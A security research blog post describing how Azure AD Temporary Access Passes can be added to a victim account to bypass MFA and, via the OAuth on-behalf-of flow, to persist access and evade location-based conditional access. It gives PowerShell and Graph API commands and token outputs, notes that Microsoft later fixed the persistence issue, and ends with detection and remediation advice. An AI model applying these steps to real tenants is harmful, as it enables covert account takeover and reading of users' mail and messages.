Mar 29 2023 | hotnops

I’d TAP That Pass

Share

Summary:

Given that:

  1. Temporary Access Passes (TAP) are enabled in the Azure AD tenant
    AND
  2. You have an authentication admin role in Azure AD

You can assign users a short lived password called a Temporary Access Pass (TAP) that satisfies most multi-factor authentication requirements implemented in Azure AD conditional access without alerting the user or modifying their existing password. In addition, you can take advantage of the OAuth on-behalf-of (OBO) flow to maintain access to the target account, even after the TAP has expired. Edit: As of 3/24/2023, Microsoft has fixed the issue of refresh tokens remaining valid after a TAP has expired. I’ll elaborate further in the appropriate sections.

Read First:

Drink First:

Coconut cream is key. Take this seriously.

The Painkiller Is an Easy, Delicious Tropical Cocktail

Intro

In order to add a Temporary Access Pass (TAP) to a user, you’ll need to be:

In addition, if you want to enable temporary access passes for the tenant, you’ll need to be either:

That’s a lot of privilege. If you have any of these privileges, you’ve likely already done some heavy lifting. However, this is still a powerful addition to our Azure AD tradecraft and by the end of this post, I’ll have you convinced that TAPs are hella cool.

On our red team engagements and penetration tests, conditional access policies (CAP) often hinder our ability to directly authenticate as a target user. We may have a set of elevated privileges, we may have valid credentials for a target user, but that last step of actually authenticating as the target user is becoming increasingly elusive. TAP abuse helps us with that issue in two ways:

  1. We can add a temporary password to a victim user without invalidating their existing password, ensuring that the user won’t notice a password change. Even better, we aren’t forced to change a password on a critical automation account and potentially break some critical system, like a CI/CD pipeline. According to Microsoft documentation: “Users can also continue to sign-in by using their password; a TAP doesn’t replace a user’s password.
  2. As mentioned above, TAPs satisfy strong multi-factor authentication (MFA) requirements. This means that we can use this password directly, without needing a second factor like an application code or SMS.

Satisfying MFA requirements with a TAP

Consider the following scenario:

Example Scenario

In this scenario, an attacker has an agent installed on User A’s workstation, thus has the ability to perform actions in Azure AD as User A. User A is an authentication administrator. With this access, the attacker is attempting to authenticate as User B. There are two CAPs in place:

  1. Users can only authenticate from the Target VPN
  2. MFA is required

In this scenario, CAP 1 requires our attacker to pivot through User A’s workstation because the authentication attempts need to originate from the Target VPN. Because the attacker has the privilege of an authentication administrator, they could change the password of User B, but they would still be blocked by the MFA CAP. In addition, changing a user password is noisy as hell.

This is why we need a TAP.

To see the difference between a password token vs a TAP token, we can use AADInternals. The first login, shown below, is a vanilla login with no MFA and a normal password in an unauthenticated context:

# Unauthenticated context
$token = Get-AADIntAccessTokenForMSGraph -Credentials $cred
Parse-JWTtoken $token

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/6c12b0b0-b2cc-4a73-8252-0b94bfca2145/
...
acct                : 0
acr                 : 1
aio                 : E2ZgYE...
amr                 : {pwd}
app_displayname     : Azure Active Directory PowerShell
appid               : 1b730954-1685-4b74-9bfd-dac224a7b894
appidacr            : 0
family_name         : Test
given_name          : Tap
idtyp               : user
ipaddr              : NON VPN IP
name                : Tap Test
oid                 : 515a273b-5b90-4a4a-9829-94f0dd0c94be
platf               : 3
puid                : 10032002642015C3
rh                  : 0.AVEAsLASbMyyc0qCUguUv8ohRQMAAAAAAAAAwAAAAAAAAABRAL8.
scp                 : Agreement.Read.All Agreement.ReadWrite.All AgreementAcceptance.Read AgreementAcceptance.Read.All AuditLog.Read.All
                      Directory.AccessAsUser.All Directory.ReadWrite.All Group.ReadWrite.All IdentityProvider.ReadWrite.All
                      Policy.ReadWrite.TrustFramework PrivilegedAccess.ReadWrite.AzureAD PrivilegedAccess.ReadWrite.AzureADGroup
                      PrivilegedAccess.ReadWrite.AzureResources TrustFrameworkKeySet.ReadWrite.All User.Invite.All
sub                 : ZQXXmiLnmQ3xlPE05fjYrbfNTsdiScflK7VkBtDacPw
tenant_region_scope : NA
tid                 : 6c12b0b0-b2cc-4a73-8252-0b94bfca2145
unique_name         : taptest@specterdev.onmicrosoft.com
upn                 : taptest@specterdev.onmicrosoft.com

In the amr claim, notice the pwd value. This indicates that the access token was obtained with a standard password and has not been authenticated with another factor. Now, we’re going to add two CAPs to simulate the scenario described above for our target user taptest.

Conditional Access Policies for Tap Test User Courtesy of RoadRecon

Now when we try to authenticate, we get an error:

# Unauthenticated context
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred -SaveToCache
AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor
authentication to access '0000000-0000-0000-c000-000000000000'.

Perfect. The CAP is working as intended. Now, let’s add a TAP. You can do this with the following code. This command should be run in the context of User A in the scenario described above. The $headers variable contains the bearer token with the audience of the graph explorer application. You know how it is.

# Context of User A
$body

Name                           Value
----                           -----
isUsableOnce                   False
lifetimeInMinutes              60


Invoke-WebRequest -Headers $headers -Method POST -Body $body https://graph.microsoft.com/v1.0/users/<user id>/authentication/temporaryAccessPassMethods

The result gets us the password “9+g6$523” for the user taptest@specterdev.onmicrosoft.com. It’s expired by the time you read this but I understand that you need to go check it anyways.

All Good? Good.

Now that we have our TAP, we’re going to try the same authentication attempt but with the TAP instead:

# Unauthenticated context
$token = Get-AADIntAccessTokenForMSGraph
# Enter TAP when prompted
Parse-JWTToken $token

...

aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/6c12b0b0-b2cc-4a73-8252-0b94bfca2145/
iat                 : 1673623990
nbf                 : 1673623990
exp                 : 1673629641
acct                : 0
acr                 : 1
aio                 : AVQAq/8TAAAAp9gPKmzkTM8e6LBhxhAC0hoAsnfilVm/xqghwbSjhtKh7Yi06Z80CYI0Z9KSO4hZ2Bi0yeJwm9h
                      A49OPf/hyo+S/DuLboO6LtnXCX27lB+Y=
amr                 : {tap, mfa}
app_displayname     : Azure Active Directory PowerShell
appid               : 1b730954-1685-4b74-9bfd-dac224a7b894
appidacr            : 0
family_name         : Test
given_name          : Tap
idtyp               : user
ipaddr              : NON VPN IP
name                : Tap Test
oid                 : 515a273b-5b90-4a4a-9829-94f0dd0c94be
platf               : 3
puid                : 10032002642015C3
rh                  : 0.AVEAsLASbMyyc0qCUguUv8ohRQMAAAAAAAAAwAAAAAAAAABRAL8.
scp                 : Agreement.Read.All Agreement.ReadWrite.All AgreementAcceptance.Read
                      AgreementAcceptance.Read.All AuditLog.Read.All Directory.AccessAsUser.All
                      Directory.ReadWrite.All Group.ReadWrite.All IdentityProvider.ReadWrite.All
                      Policy.ReadWrite.TrustFramework PrivilegedAccess.ReadWrite.AzureAD
                      PrivilegedAccess.ReadWrite.AzureADGroup PrivilegedAccess.ReadWrite.AzureResources
                      TrustFrameworkKeySet.ReadWrite.All User.Invite.All
sub                 : ZQXXmiLnmQ3xlPE05fjYrbfNTsdiScflK7VkBtDacPw
tenant_region_scope : NA
tid                 : 6c12b0b0-b2cc-4a73-8252-0b94bfca2145
unique_name         : taptest@specterdev.onmicrosoft.com
upn                 : taptest@specterdev.onmicrosoft.com
...

Note that the call was successful, even though we didn’t perform any MFA actions!

This is awesome.

Second, note that the token contains the mfa value in the amr claim. This indicates that your TAP counts as ‘strong authentication’, and any conditional access policy that requires MFA will be satisfied (except for “Passwordless” and “Phishing Resistant” strengths).

This can be a useful tool for a red team in which they:

  1. Are unable to authenticate to the target user because they can’t obtain the plaintext password
  2. Are able to obtain or modify the plaintext password but still can’t authenticate due to lack of access to the targets multi-factor authentication method

Not Just For Registering Passwordless

Microsoft documentation will direct you to use your TAP to register your passwordless authentication at https://aka.ms/mysecurityinfo, as that is the original intent. However, there’s nothing stopping you from authenticating with any other OAuth client, such as the AzureAD powershell module.

# Unauthenticated context
Get-AADIntAccessTokenForMSGraph -SaveToCache

You now have a refresh token for which you can obtain access tokens for other clients within the same family of client ID’s (FOCI) (check out this sweet github repo).

Refresh token?

That doesn’t sound very temporary. Unfortunately for us, that refresh token will expire when the TAP expires, which is at most eight hours. This means that you can request new access tokens with your refresh token for up to eight hours, but then the refresh token is useless because the temporary access pass used to obtain the refresh token is no longer valid. We want better. We deserve better.

What if there were a way to wash the TAP stank off that refresh token and keep your access after the TAP expired?

On-Behalf-Of (OBO) Persistence

There is one OAuth flow that may help us keep the party alive. I’m talking about the “on-behalf-of” flow. Let’s see if we can use this to our advantage and persist access with a TAP.

OBO Flow for Our Experiment

First, we will need to register a new Azure AD application. This doesn’t necessarily need to be in the same tenant, but it’s better if you can to avoid Microsoft blocking it as a “risky” application. This application will act as the “middleware” in our “on-behalf-of” flow. The reason why we need to create an application is so that we can use the client secret to obtain the intermediary token from the middleware API to use with the back-end API, which will be Microsoft Graph. The hope here is that the back-end token will be “washed” of the TAP value in the amr claim and will last longer than the temporary access pass. Let’s get to it.

1. First we create our mock “middleware” application. We need to create a client secret and save it off. In this test we also expose an API, even though it won’t do anything. I gave the application every API permission that doesn’t require Administrator consent.

Every API Permission that Doesn’t Require Admin Consent
Exposing an API Called tokenwash

2. Now we will be acting in the context of the middleware application. In order to simulate an on-behalf-of authentication flow, we’ll need an access token for our TAP’d user. We can obtain this token with AADInternals. Note that we will need to consent to the graph API permissions. Using the device code flow and a browser will take you through the appropriate consent flow.

$middleware_token = Get-AADIntAccessToken -ClientId <Client ID of middleware app> -Resource <Client ID of middleware app> -UseDeviceCode

3. We can parse the returned JWT and see that it still is marked as “mfa, tap” for the amr section:

aud         : 1efbd471-3de4-476a-8afd-b3203ce16a91
iss         : https://sts.windows.net/6c12b0b0-b2cc-4a73-8252-0b94bfca2145/
...
acr         : 1
aio         : AVQAq/8TAAAAMwsRobmyfwGdg6LN9iOtjgJziEQp7RkHGGcnKFpDaUsgDO3vZ5dxehhmRsyUb0lCcxvVRYqCvK+pO4dFn9ZNBhl9eBxVm0umDT9iAGe8KzA=
amr         : {tap, mfa}
appid       : 1efbd471-3de4-476a-8afd-b3203ce16a91
appidacr    : 0
family_name : Test
given_name  : Tap
ipaddr      : VPN IP
name        : Tap Test
oid         : 515a273b-5b90-4a4a-9829-94f0dd0c94be
rh          : 0.AVEAsLASbMyyc0qCUguUv8ohRXHU-x7kPWpHiv2zIDzhapFRAL8.
scp         : Acronym.Read.All AppCatalog.Read.All AppCatalog.Submit AttackSimulation.ReadWrite.All Bookings.Manage.All Bookings.Read.All Bookings.ReadWrite.All BookingsAppointment.ReadWrite.All
              Calendars.Read Calendars.Read.Shared Calendars.ReadBasic Calendars.ReadWrite Calendars.ReadWrite.Shared Channel.ReadBasic.All ChannelMessage.Edit ChannelMessage.Send Chat.Create Chat.Read
              Chat.ReadBasic Chat.ReadWrite ChatMessage.Read ChatMessage.Send CloudPC.Read.All Contacts.Read Contacts.Read.Shared Contacts.ReadWrite Contacts.ReadWrite.Shared Device.Command Device.Read
              DigitalHealthSettings.Read EAS.AccessAsUser.All email EntitlementMgmt-SubjectAccess.ReadWrite EWS.AccessAsUser.All Family.Read Files.Read Files.Read.All Files.Read.Selected Files.ReadWrite
              Files.ReadWrite.All Files.ReadWrite.AppFolder Files.ReadWrite.Selected Financials.ReadWrite.All IMAP.AccessAsUser.All IndustryData.ReadBasic.All InformationProtectionPolicy.Read Mail.Read
              Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send Mail.Send.Shared MailboxSettings.Read MailboxSettings.ReadWrite
              NetworkAccessBranch.Read.All NetworkAccessPolicy.Read.All Notes.Create Notes.Read Notes.Read.All Notes.ReadWrite Notes.ReadWrite.All Notes.ReadWrite.CreatedByApp
              Notifications.ReadWrite.CreatedByApp offline_access OnlineMeetingArtifact.Read.All OnlineMeetings.Read OnlineMeetings.ReadWrite openid People.Read Policy.Read.ConditionalAccess
              POP.AccessAsUser.All Presence.Read Presence.Read.All Presence.ReadWrite PrinterShare.Read.All PrinterShare.ReadBasic.All PrintJob.Create PrintJob.Read PrintJob.ReadBasic PrintJob.ReadWrite
              PrintJob.ReadWriteBasic profile QnA.Read.All ShortNotes.Read ShortNotes.ReadWrite Sites.Manage.All Sites.Read.All Sites.ReadWrite.All SMTP.Send Tasks.Read Tasks.Read.Shared Tasks.ReadWrite
              Tasks.ReadWrite.Shared Team.Create Team.ReadBasic.All TeamsActivity.Read TeamsActivity.Send TeamsAppInstallation.ReadForChat TeamsAppInstallation.ReadForUser TeamsTab.ReadWriteForUser
              TeamsTab.ReadWriteSelfForUser TeamTemplates.Read TeamworkAppSettings.Read.All ThreatSubmission.Read ThreatSubmission.ReadWrite User.Read User.ReadBasic.All User.ReadWrite
              UserActivity.ReadWrite.CreatedByApp UserNotification.ReadWrite.CreatedByApp UserTimelineActivity.Write.CreatedByApp
sub         : bfWWve9KN8ykFqvsAVI-53rZ501f68Gd9wGBz4eewO0
tid         : 6c12b0b0-b2cc-4a73-8252-0b94bfca2145
unique_name : taptest@specterdev.onmicrosoft.com
upn        : taptest@specterdev.onmicrosoft.com
...

That’s expected. But now, let’s use it in an on-behalf-of flow to obtain a back-end token, hopefully washed clean and usable for longer than an hour or eight.

4. According to Microsoft documentation, our payload needs to have the “requested_token_use” field set to “on_behalf_of”.

On-behalf-of Flow from Microsoft Documentation

We’ll follow the documentation steps, but replace the client_id, client_secret, and assertion with the appropriate values. We’ll also set the scope to “https://graph.microsoft.com/.default offline_access”, to get all the API permissions we can and request refresh tokens.

$backend_resp = Invoke-WebRequest -Method POST -Headers $headers -Body $obo_body https://login.microsoftonline.com/<tenant_id>/oauth2/v2.0/token

Let’s now dump out the returned JWT and see if we successfully scrubbed our token:

$access_token = ($backend_resp | ConvertFrom-Json).access_token


aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/6c12b0b0-b2cc-4a73-8252-0b94bfca2145/
..
acct                : 0
acr                 : 1
aio                 : AVQAq/8TAAAAJE4cMHAttKvlihhqlj/7AJU6M9r0vPERUJ6dkjOez/z0Y/ywiAGc2e8nMv6Ev6BWhj2kie9fdA4i1OVxvhkNFT49kR6xM5lgwxVNni+XMPo=
amr                 : {tap, mfa}
app_displayname     : obo-test
appid               : 1efbd471-3de4-476a-8afd-b3203ce16a91
appidacr            : 1
family_name         : Test
given_name          : Tap
idtyp               : user
ipaddr              : VPN IP
name                : Tap Test
oid                 : 515a273b-5b90-4a4a-9829-94f0dd0c94be
platf               : 3
puid                : 10032002642015C3
rh                  : 0.AVEAsLASbMyyc0qCUguUv8ohRQMAAAAAAAAAwAAAAAAAAABRAL8.
scp                 : Acronym.Read.All AppCatalog.Read.All AppCatalog.Submit AttackSimulation.ReadWrite.All Bookings.Manage.All Bookings.Read.All Bookings.ReadWrite.All BookingsAppointment.ReadWrite.All Calendars.Read Calendars.Read.Shared Calendars.ReadBasic Calendars.ReadWrite
                      Calendars.ReadWrite.Shared Channel.ReadBasic.All ChannelMessage.Edit ChannelMessage.Send Chat.Create Chat.Read Chat.ReadBasic Chat.ReadWrite ChatMessage.Read ChatMessage.Send CloudPC.Read.All Contacts.Read Contacts.Read.Shared Contacts.ReadWrite
                      Contacts.ReadWrite.Shared Device.Command Device.Read DigitalHealthSettings.Read EAS.AccessAsUser.All email EntitlementMgmt-SubjectAccess.ReadWrite EWS.AccessAsUser.All Family.Read Files.Read Files.Read.All Files.Read.Selected Files.ReadWrite Files.ReadWrite.All
                      Files.ReadWrite.AppFolder Files.ReadWrite.Selected Financials.ReadWrite.All IMAP.AccessAsUser.All IndustryData.ReadBasic.All InformationProtectionPolicy.Read Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send
                      Mail.Send.Shared MailboxSettings.Read MailboxSettings.ReadWrite NetworkAccessBranch.Read.All NetworkAccessPolicy.Read.All Notes.Create Notes.Read Notes.Read.All Notes.ReadWrite Notes.ReadWrite.All Notes.ReadWrite.CreatedByApp Notifications.ReadWrite.CreatedByApp
                      OnlineMeetingArtifact.Read.All OnlineMeetings.Read OnlineMeetings.ReadWrite openid People.Read Policy.Read.ConditionalAccess POP.AccessAsUser.All Presence.Read Presence.Read.All Presence.ReadWrite PrinterShare.Read.All PrinterShare.ReadBasic.All PrintJob.Create
                      PrintJob.Read PrintJob.ReadBasic PrintJob.ReadWrite PrintJob.ReadWriteBasic profile QnA.Read.All ShortNotes.Read ShortNotes.ReadWrite Sites.Manage.All Sites.Read.All Sites.ReadWrite.All SMTP.Send Tasks.Read Tasks.Read.Shared Tasks.ReadWrite Tasks.ReadWrite.Shared
                      Team.Create Team.ReadBasic.All TeamsActivity.Read TeamsActivity.Send TeamsAppInstallation.ReadForChat TeamsAppInstallation.ReadForUser TeamsTab.ReadWriteForUser TeamsTab.ReadWriteSelfForUser TeamTemplates.Read TeamworkAppSettings.Read.All ThreatSubmission.Read
                      ThreatSubmission.ReadWrite User.Read User.ReadBasic.All User.ReadWrite UserActivity.ReadWrite.CreatedByApp UserNotification.ReadWrite.CreatedByApp UserTimelineActivity.Write.CreatedByApp
signin_state        : {inknownntwk}
sub                 : ZQXXmiLnmQ3xlPE05fjYrbfNTsdiScflK7VkBtDacPw
tenant_region_scope : NA
unique_name         : taptest@specterdev.onmicrosoft.com
upn                 : taptest@specterdev.onmicrosoft.com
uti                 : K7kDU4zVLE6MBg0sVgrgAA
ver                 : 1.0
...

Well shit.

It still has the tap value proudly displayed in the amr section, staring at me, giving off some serious schadenfreude vibes.

To be honest, I wasn’t expecting this to work. I thought that I had failed yet again when I saw that tap value in the amr claim. I deleted the TAP and thought:

“I still have a refresh token from my OBO request. Before I give up, let’s try to reuse that refresh token and see what happens. Hold my painkiller…”

$eternal_payload['client_id'] = "1efbd471-3de4-476a-8afd-b3203ce16a91"
$eternal_payload['refresh_token'] = ($backend_resp | ConvertFrom-Json).refresh_token
$eternal_payload['client_secret'] = $client_secret
$eternal_payload['scope'] = "https://graph.microsoft.com/.default offline_access"
$eternal_payload['grant_type'] = "refresh_token"
$free_token = Invoke-WebRequest -Method POST -Headers $headers -Body $eternal_payload $url
Parse-JWTToken ($free_token.Content | ConvertFrom-Json).access_token

...


aud                 : https://graph.microsoft.com
iss                 : https://sts.windows.net/6c12b0b0-b2cc-4a73-8252-0b94bfca2145/
...
acct                : 0
acr                 : 1
aio                 : AVQAq/8TAAAABsyEopLkAOdklTxbv3h7U8++NT6g/NPdM4mtftVdbo7UJgTR0tvwTWTqT8SsQn9K1wB3KUQey2lMTdNI5qR6Yf/Kl+cmNSV0gHFJvybciqA=
amr                 : {tap, mfa}
app_displayname     : obo-test
appid               : 1efbd471-3de4-476a-8afd-b3203ce16a91
appidacr            : 1
family_name         : Test
given_name          : Tap
idtyp               : user
ipaddr              : < REDACTED VPN IP >
name                : Tap Test
oid                 : 515a273b-5b90-4a4a-9829-94f0dd0c94be
platf               : 3
puid                : 10032002642015C3
rh                  : 0.AVEAsLASbMyyc0qCUguUv8ohRQMAAAAAAAAAwAAAAAAAAABRAL8.
scp                 : Acronym.Read.All AppCatalog.Read.All AppCatalog.Submit AttackSimulation.ReadWrite.All Bookings.Manage.All Bookings.Read.All Bookings.ReadWrite.All BookingsAppointment.ReadWrite.All Calendars.Read Calendars.Read.Shared Calendars.ReadBasic Calendars.ReadWrite
                      Calendars.ReadWrite.Shared Channel.ReadBasic.All ChannelMessage.Edit ChannelMessage.Send Chat.Create Chat.Read Chat.ReadBasic Chat.ReadWrite ChatMessage.Read ChatMessage.Send CloudPC.Read.All Contacts.Read Contacts.Read.Shared Contacts.ReadWrite
                      Contacts.ReadWrite.Shared Device.Command Device.Read DigitalHealthSettings.Read EAS.AccessAsUser.All email EntitlementMgmt-SubjectAccess.ReadWrite EWS.AccessAsUser.All Family.Read Files.Read Files.Read.All Files.Read.Selected Files.ReadWrite Files.ReadWrite.All
                      Files.ReadWrite.AppFolder Files.ReadWrite.Selected Financials.ReadWrite.All IMAP.AccessAsUser.All IndustryData.ReadBasic.All InformationProtectionPolicy.Read Mail.Read Mail.Read.Shared Mail.ReadBasic Mail.ReadBasic.Shared Mail.ReadWrite Mail.ReadWrite.Shared Mail.Send
                      Mail.Send.Shared MailboxSettings.Read MailboxSettings.ReadWrite NetworkAccessBranch.Read.All NetworkAccessPolicy.Read.All Notes.Create Notes.Read Notes.Read.All Notes.ReadWrite Notes.ReadWrite.All Notes.ReadWrite.CreatedByApp Notifications.ReadWrite.CreatedByApp
                      OnlineMeetingArtifact.Read.All OnlineMeetings.Read OnlineMeetings.ReadWrite openid People.Read Policy.Read.ConditionalAccess POP.AccessAsUser.All Presence.Read Presence.Read.All Presence.ReadWrite PrinterShare.Read.All PrinterShare.ReadBasic.All PrintJob.Create
                      PrintJob.Read PrintJob.ReadBasic PrintJob.ReadWrite PrintJob.ReadWriteBasic profile QnA.Read.All ShortNotes.Read ShortNotes.ReadWrite Sites.Manage.All Sites.Read.All Sites.ReadWrite.All SMTP.Send Tasks.Read Tasks.Read.Shared Tasks.ReadWrite Tasks.ReadWrite.Shared
                      Team.Create Team.ReadBasic.All TeamsActivity.Read TeamsActivity.Send TeamsAppInstallation.ReadForChat TeamsAppInstallation.ReadForUser TeamsTab.ReadWriteForUser TeamsTab.ReadWriteSelfForUser TeamTemplates.Read TeamworkAppSettings.Read.All ThreatSubmission.Read
                      ThreatSubmission.ReadWrite User.Read User.ReadBasic.All User.ReadWrite UserActivity.ReadWrite.CreatedByApp UserNotification.ReadWrite.CreatedByApp UserTimelineActivity.Write.CreatedByApp
signin_state        : {inknownntwk}
sub                 : ZQXXmiLnmQ3xlPE05fjYrbfNTsdiScflK7VkBtDacPw
tenant_region_scope : NA
tid                 : 6c12b0b0-b2cc-4a73-8252-0b94bfca2145
unique_name         : taptest@specterdev.onmicrosoft.com
upn                 : taptest@specterdev.onmicrosoft.com
uti                 : cR9hIrrW5kSxj1GsFmW2AQ
ver                 : 1.0
...

What?!? I just got a valid access token from a refresh token obtained from a temporary access password that has been deleted!

This should not be. (Edit 3/24/23: Ron Howard narrator voice: “It’s not”)

Even if an administrator goes in and deletes the TAP, an attacker could still maintain access to the user account. In the process of the OBO flow, we have somehow removed the correlation between the TAP and the refresh token, a process I am calling “OBO persistence”. Granted, in this scenario, you only have access to APIs that don’t require admin consent, but that’s enough to read the users email, Teams messages, OneNote notes, and calendar. In order to revoke this access, an administrator will need to revoke all the user refresh tokens. There’s one more really sweet perk about this access that you may have already spotted…

If you remember from earlier, there was a CAP in place to require that the taptest user only authenticate from the ‘SpecterOps-vpn’ trusted location. Yet, I was still able to use my refresh token to obtain fresh access tokens from an untrusted location.

That’s weird and cool” I thought.

I examined the access token returned in the last step above and noticed that the IP address was that of the SpecterOps VPN. Did I forget to turn off the VPN? I re-did the OBO flow, ensuring that I stayed disconnected from the VPN the whole time and reexamined the access token.

The ipaddr claim was still the VPN IP address to which I was no longer connected! The signin_state claim was set to inknownntwk!

That’s a 2FER!

https://medium.com/media/f798a52735aa7803049d792b6b51dec3/href

Even if we lose access to the target network, we can still use our refresh token to obtain authentication and refresh tokens, subverting the location based conditional access policy! This is likely by design, because middleware needs to act asynchronously from front-end user requests, so the claims used in the frontend token seem to be correlated with the refresh token.

Any attempt to obtain new refresh tokens will show the original IP address in the sign in logs, making detection particularly difficult.

We went from:

“this is kinda cool”

to

“I need more TAP in my life”

Heavy Edit: You will need to find a new way to persist access with a TAP derived credential as Microsoft has fixed this issue. However, using the OBO flow to keep desirable claims in your refresh token is still completely viable, as that is an intentional design decision of the OBO flow.

In other words: If you can authenticate as a target user with other means and obtain a token to be used in the OBO flow, it will buy you the same level of persistence and CAP subversion.

Detection and Remediation

First off, don’t use TAPs if you don’t need to yet. They are disabled by default, so it’s unlikely that you are affected by all this. However, Microsoft is pushing towards passwordless authentication (for good reason), so you’ll definitely see more of this in the future. If and when you decide to enable TAPs, you’ll know exactly what you are signing up for and the new events you should be monitoring.

If you are using TAPs, they should be used only for new hire or new device on-boarding, and as such, TAP logins should be relatively infrequent.

The following powershell command will return all of the TAP generation events in a tenant. I can’t tell you how to handle your log events, but I would treat this event with heavy scrutiny in my tenant.

$tap_generations = Get-AzureADAuditDirectoryLogs -Filter "category eq 'UserManagement'" | Where-Object {$_.ResultReason -like "Admin registered temporary access pass method for user"}

Second, don’t allow all users to create application registrations. This is permitted by default and I don’t think it should be. The documentation to disable this feature is located here.

Lastly, you should keep a close eye on users consenting to application permissions. This has been especially true in the past few years due to app consent phishing attacks. As such, this detection may be more nuanced. You can and should restrict which applications a user can consent to, or even block user consent all together. The process for doing so is documented here. In the event that you cannot block users from consenting to external applications, you’ll want to keep a close eye on the applications they do consent to. There are several ways to do this, but I have listed the two that I expect would be most effective.

  1. Keep a list of all service principals in the tenant and create an alert whenever a new one is created. Any time a user consents to a new external application, a service principal will be created in the tenant to service that application. Knowing this, you can create an alert for the activity type “Add service principal”. This will trigger when an attacker either creates a new application registration OR consents to an external application.
  2. Receive alerts whenever a user consents to an application requesting access to a resource. In the event log, you can filter on the activity type “Add delegated permission grant”
Suspicious AF

That looks pretty weird. If you monitor a large enterprise, you very may well be flooded with these, but they should be for trusted applications like Slack, Workday, etc. or for internal applications. The key piece of information is the client ID. Every new client ID should be investigated thoroughly.

Ultimately, as a defender, a periodic review of all of the service principals in the tenant should not yield any surprises.

Source

If you’d like to play around with on-behalf-of flow for Azure AD, I uploaded some scripts here:
https://github.com/hotnops/obo-wash

Acknowledgements


I’d TAP That Pass was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.